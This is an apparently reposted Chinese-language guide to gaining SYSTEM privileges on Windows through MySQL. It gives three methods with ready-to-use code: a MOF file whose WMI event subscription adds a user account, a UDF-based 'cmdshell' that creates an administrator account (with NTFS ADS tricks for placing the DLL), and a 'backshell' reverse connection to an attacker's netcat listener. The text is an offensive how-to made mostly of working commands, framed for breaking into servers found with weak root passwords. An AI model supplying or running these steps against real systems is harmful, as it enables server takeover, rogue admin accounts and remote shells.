mysql提權總結


一、mof提權

  windows管理規范提供了以下三種方法編譯到WMI存儲庫的托管對象格式(MOF)文件:

  1、運行MOF文件指定為命令行參數講Mofcomp.exe文件。

  2、使用IMofCompiler接口和$CompileFile方法。

  3、拖放到%SystemRoot%\System32\Wbem\MOF文件夾的MOF文件。

  Micrsoft建議您到存儲庫編譯MOF文件使用前兩種方法。也就是運行Mofcomp.exe文件或使用IMofCompiler:CompileFile方法。

  第三種方法僅為后兼容性與早期版本的WMI提供,並因為此功能可能不會提供在將來的版本。

  具體到mysql提權中,我們該怎么利用?

  1、找一個可寫目錄上傳mof文件,這里我們上傳到了C:/wmpub/nullevt.mof,代碼如下:

   其中第18行,上傳前請自己更改。

 1 #pragma namespace("\\\\.\\root\\subscription")
 2 
 3 instance of __EventFilter as $EventFilter
 4 {
 5     EventNamespace = "Root\\Cimv2";
 6     Name  = "filtP2";
 7     Query = "Select * From __InstanceModificationEvent "
 8             "Where TargetInstance Isa \"Win32_LocalTime\" "
 9             "And TargetInstance.Second = 5";
10     QueryLanguage = "WQL";
11 };
12 
13 instance of ActiveScriptEventConsumer as $Consumer
14 {
15     Name = "consPCSV2";
16     ScriptingEngine = "JScript";
17     ScriptText =
18     "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user waitalone waitalone.cn /add\")";
19 };
20 
21 instance of __FilterToConsumerBinding
22 {
23     Consumer   = $Consumer;
24     Filter = $EventFilter;
25 };

 

  2、執行load_file及into dumpfile把文件導出到正確的位置即可。

   1 select load_file('C:/wmpub/nullevt.mof') into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof' 

  執行成功后,即可添加一個普通用戶,然后可以更改命令,再上傳導出執行把用戶提升到管理員權限,然后3389連接就可以了。


二、利用UDF提權

功能:利用mysql自定義函數功能,將mysql的賬號轉化為system權限。 適用場景:1、目標系統是windows(win2000, XP,Win2003);2、擁有MYSQL的某個用戶賬號,此賬號必須有對mysql的insert和delete權限和拋棄函數。 3、首先判斷mysql版本,如果大於5.1的話,就直接上傳udf.dll到MySQL\Lib\Plugin\文件夾下,一般Lib、Plugin文件夾需要手工建立,mysql路徑可以用select @@datadir語句找出。 4、直接執行create function sys_eval returns string soname 'udf.dll',若成功則可直接執行命令。

  udf提權也是最常見的提權方式。但是往往再執行過程中老是遇到"Can't open shared library"的情況,這里可以利用NTFS ADS流來解決這個問題。

  1、最常見的是直接使用udf.php此類的工具來執行udf提權。

  連接mysql以后,先導出udf.dll到c:\windows\system32目錄下。

  2、創建相應的函數並執行命令,具體如下:

1 create function cmdshell returns string soname 'udf.dll';
2 select cmdshell('net user waitalone waitalone.cn /add');
3 select cmdshell('net localgroup administrators waitalone /add');
4 drop function cmdshell; 刪除函數
5 delete from mysql.func where name='cmdshell'  刪除函數

   3、某些情況下,我們會遇到Can't open shared library的情況,這時就需要我們把udf.dll導出到lib\plugin目錄下才可以,但是默默情況下

  plugin不存在,怎么辦?還好有大牛研究出利用NTFS ADS流來創建文件夾的方法:

select @@basedir;   
//查找到mysql的目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib::$INDEX_ALLOCATION';   
//利用NTFS ADS創建lib目錄
select 'It is dll' into dumpfile 'C:\\Program Files\\MySQL\\MySQL Server 5.1\\lib\\plugin::$INDEX_ALLOCATION';
//利用NTFS ADS創建plugin目錄

  執行成功以后再進行導出即可。


 

三、反彈端口連接提權

  假設我們掃到一個mysql的root弱密碼,並且可以外連,但是服務器上面的網站又無法getshell,這時我們怎么辦?

  1、利用mysql客戶端工具連接mysql服務器,然后執行下面的操作。(mysql.txt暫時沒有)

mysql.exe -h 172.16.10.11 -uroot -p
Enter password:
mysql> \. c:\mysql.txt
mysql>select backshell("YourIP",2010);

  2、本地監聽你反彈的端口

  nc.exe -vv -l -p 2010

  成功后,你將獲得一個system權限的cmdshell,其實這個也是利用UFDF提權。

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM